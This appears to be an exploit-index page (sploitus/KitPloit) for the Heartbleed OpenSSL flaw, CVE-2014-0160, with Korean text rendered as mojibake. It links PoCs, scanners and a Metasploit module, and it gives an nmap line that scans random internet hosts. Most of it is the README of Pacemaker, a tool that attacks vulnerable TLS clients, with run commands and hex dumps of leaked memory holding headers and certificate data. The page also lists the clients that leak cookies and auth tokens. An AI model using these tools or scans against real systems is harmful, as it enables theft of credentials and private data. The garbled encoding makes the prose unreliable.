## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0X90-CVE-2014-0160
# CVE-2014-0160
## ๋งํฌ
https://github.com/DisK0nn3cT/MaltegoHeartbleed
https://github.com/a0726h77/heartbleed-test
https://github.com/musalbas/heartbleed-masstest
https://github.com/decal/ssltest-stls
https://github.com/isgroup-srl/openmagic
https://github.com/offensive-python/HeartLeak
## Nmap
nmap -sV -PS443 --open --script=ssl-heartbleed -iR 0
## Cisco & DD-WRT
http://security.stackexchange.com/questions/55085/heartbleed-and-routers-asas-other
## PoC
CVE-2014-0160๋ฅผ ์ํ ๊ฒ์ฌ๊ธฐ(์ฌ์ดํธ ๋ฐ ๋๊ตฌ): https://github.com/FiloSottile/Heartbleed ssltest.py: Jared Stafford๊ฐ ์์ฑํ CVE-2014-0160์ ๋ํ ๊ฐ๋จํ ๋ฐ๋ชจ: http://pastebin.com/WmxzjkXJ
SSL ์๋ฒ ํ
์คํธ: https://www.ssllabs.com/ssltest/index.html
Metasploit ๋ชจ๋: https://github.com/rapid7/metasploit-framework/pull/3206/files
Nmap NSE ์คํฌ๋ฆฝํธ: ์๋ฒ๊ฐ OpenSSL Heartbleed์ ์ทจ์ฝํ์ง ๊ฐ์ง: https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
Nmap NSE ์คํฌ๋ฆฝํธ: ssl_cert_expiry.nas๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ ssl_heartbleed์ฉ Quick'n'Dirty OpenVAS nasl ๋ํผ: https://gist.github.com/RealRancor/10140249
Heartbleeder: ์๋ฒ์ OpenSSL ์ทจ์ฝ์ ์ ํ
์คํธ: https://github.com/titanous/heartbleeder?files=1
Heartbleed ๊ณต๊ฒฉ PoC ๋ฐ ๋๋ ์ค์บ๋: https://bitbucket.org/fb1h2s/cve-2014-0160
Heartbleed ํ๋ํ ์คํฌ๋ฆฝํธ: http://packetstormsecurity.com/files/126068/hb_honeypot.pl.txt
## Pacamaker
https://github.com/Lekensteyn/pacemaker
# Pacemaker
# Pacemaker
Heartbleed (CVE-2014-0160)์ ์ทจ์ฝํ OpenSSL _ํด๋ผ์ด์ธํธ_ ๋ฅผ ์
์ฉํ๋ ค๋ ์๋์
๋๋ค. Python 2 ๋ฐ 3๊ณผ ํธํ๋ฉ๋๋ค.
## ์ทจ์ฝํ๊ฐ์?
์๋ฒ๋ฅผ ์คํํฉ๋๋ค:
root@kitploit:~
python pacemaker.py
ํด๋ผ์ด์ธํธ์์ https://localhost:4433/์ ์ฝ๋๋ค(ํ์์ ํธ์คํธ๋ช
๋ณ๊ฒฝ). ์๋ฅผ ๋ค์ด:
root@kitploit:~
curl https://localhost:4433/
ํด๋ผ์ด์ธํธ๋ ํญ์ ์ฐ๊ฒฐ์ ์คํจํฉ๋๋ค:
root@kitploit:~
curl: (35) ์ฐ๊ฒฐ ์ค localhost:4433์์ ์ ์ ์๋ SSL ํ๋กํ ์ฝ ์ค๋ฅ
์ทจ์ฝํ์ง ์๋ค๋ฉด ์๋ฒ๋ ๋ค์๊ณผ ๊ฐ์ด ์ถ๋ ฅํฉ๋๋ค:
root@kitploit:~
Connection from: 127.0.0.1:40736
Possibly not vulnerable
_์ทจ์ฝํ๋ค๋ฉด_ ๋ค์๊ณผ ๊ฐ์ ๋ด์ฉ์ ๋ณผ ์ ์์ต๋๋ค:
root@kitploit:~
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 some-email@example.com.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
NUL ๋ฐ์ดํธ๋ก ๊ฐ๋ ์ฐฌ ํ์ ์ค์ `xxd` ๋๊ตฌ์ฒ๋ผ `*`๋ก ์ ํ๋๋ค.
`wget -O /dev/null https://google.com https://localhost:4433`์ ์ฌ์ฉํ์ฌ ๋ "ํฅ๋ฏธ๋ก์ด" ๋ฉ๋ชจ๋ฆฌ๊ฐ ์ ์ถ๋๋ ์์:
root@kitploit:~
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 some-email@example.com.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
## ๊ณ ๊ธ ์ฌ์ฉ๋ฒ
๋ ๋ง์ ์ต์
์ ๋ณด๋ ค๋ฉด `./pacemaker.py -h`๋ฅผ ์คํํ์ธ์. ๊ฐ์ฅ ์ค์ํ ์ต์
์ ์๋ง `-t` (`--timeout`)์ `-x` (`--count`)์
๋๋ค. ๊ธฐ๋ณธ ํ์์์์ 3์ด๋ก, ๋๋ถ๋ถ์ ํด๋ผ์ด์ธํธ๊ฐ ์๋ตํ๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค(์์ฑ ๋งํฌ ๋ฑ์ด ์๋ ๊ฒฝ์ฐ).
ํํธ๋นํธ๋น ๋ ์ค๋ ๊ธฐ๋ค๋ฆฌ๊ณ (5์ด) 4๋ฒ์ ํํธ๋นํธ ์๋ต์ ํ๋ํ๋ ์์:
root@kitploit:~
./pacemaker.py -t 5 -x 4
์ด๋ก ์ ์ผ๋ก ํํธ๋นํธ๋ 20์ด๊น์ง ๊ฑธ๋ฆด ์ ์์ง๋ง, ์ค์ ๋ก๋ ํจ์ฌ ๋น ๋ฅด๊ฒ ์๋ต์ ๋ฐ์ ์ ์์ต๋๋ค.
## ํ
์คํธ๋ ํด๋ผ์ด์ธํธ
๋ค์ ํด๋ผ์ด์ธํธ๋ค์ Arch Linux์์ OpenSSL 1.0.1f์ ๋ํด ํ
์คํธ๋์์ผ๋ฉฐ, ํธ๋์
ฐ์ดํฌ ์ ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ ์ถํ์ต๋๋ค:
* MariaDB 5.5.36
* wget 1.15 (์ด์ ์ฐ๊ฒฐ ๋ฐ ์์ฒด ์ํ์ ๋ฉ๋ชจ๋ฆฌ ์ ์ถ)
* curl 7.36.0 (https, --ftp-ssl์ ์ฌ์ฉํ FTP/IMAP/POP3/SMTP)
* git 1.9.1 (clone/push ํ
์คํธ, ๋ง์ด ์ ์ถ๋์ง ์์)
* nginx 1.4.7 (ํ๋ก์ ๋ชจ๋์์ ์ด์ ์์ฒญ์ ๋ฉ๋ชจ๋ฆฌ ์ ์ถ)
* links 2.8 (์ด์ ๋ฐฉ๋ฌธ ์ฝํ
์ธ ์ ์ถ!)
* KDE 4.12.4 (kioclient, Dolphin, kde4-ftps-kio๋ก https ๋ฐ ftps ํ
์คํธ)
* Exim 4.82 (๋ฐ์ SMTP)
links๋ ์ด ๋ฒ๊ทธ๊ฐ ํด๋ผ์ด์ธํธ์ ๋ฏธ์น๋ ์ํฅ์ ๋ณด์ฌ์ฃผ๋ ํ๋ฅญํ ์์
๋๋ค. ํค๋(์ฟ ํค, ์ธ์ฆ ํ ํฐ)์ ํ์ด์ง ์ฝํ
์ธ ๋ฅผ ํฌํจํ ์ธ๋ถ ์ ๋ณด๋ฅผ ์ ์ถํ๋ ํ
์คํธ ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ์
๋๋ค.
# ssltest.py
์ด ์ ์ฅ์์๋ ์๋ฒ๋ฅผ ๋์์ผ๋ก ํ๋ ์๋ํ๋ ๋ฒ์ ๋ ํฌํจ๋์ด ์์ต๋๋ค. ssltest.py๋ Jared Stafford (some-email@example.com)๊ฐ ๋ง๋ค์์ผ๋ฉฐ, ๋ชจ๋ ํฌ๋ ๋ง์ ๊ทธ์๊ฒ ์์ต๋๋ค! http://s3.jspenguin.org/ssltest.py์์ ๊ฐ์ ธ์์ต๋๋ค.
ํ์ฌ ์ด ์คํฌ๋ฆฝํธ๋ Python 2์๋ง ํธํ๋ฉ๋๋ค.
## ๋งํฌ
https://www.nccgroup.com/en/blog/2014/04/heartbleed-openssl-vulnerability/ https://www.mattslifebytes.com/?p=533 https://gist.github.com/takeshixx/10107280 https://github.com/FiloSottile/Heartbleed http://www.reddit.com/r/netsec/comments/22huui/python_heartbleed_cve20140160_proof_of_concept/
http://lab.onsec.ru/2014/04/memory-dumper-based-on-cve-2014-0160.html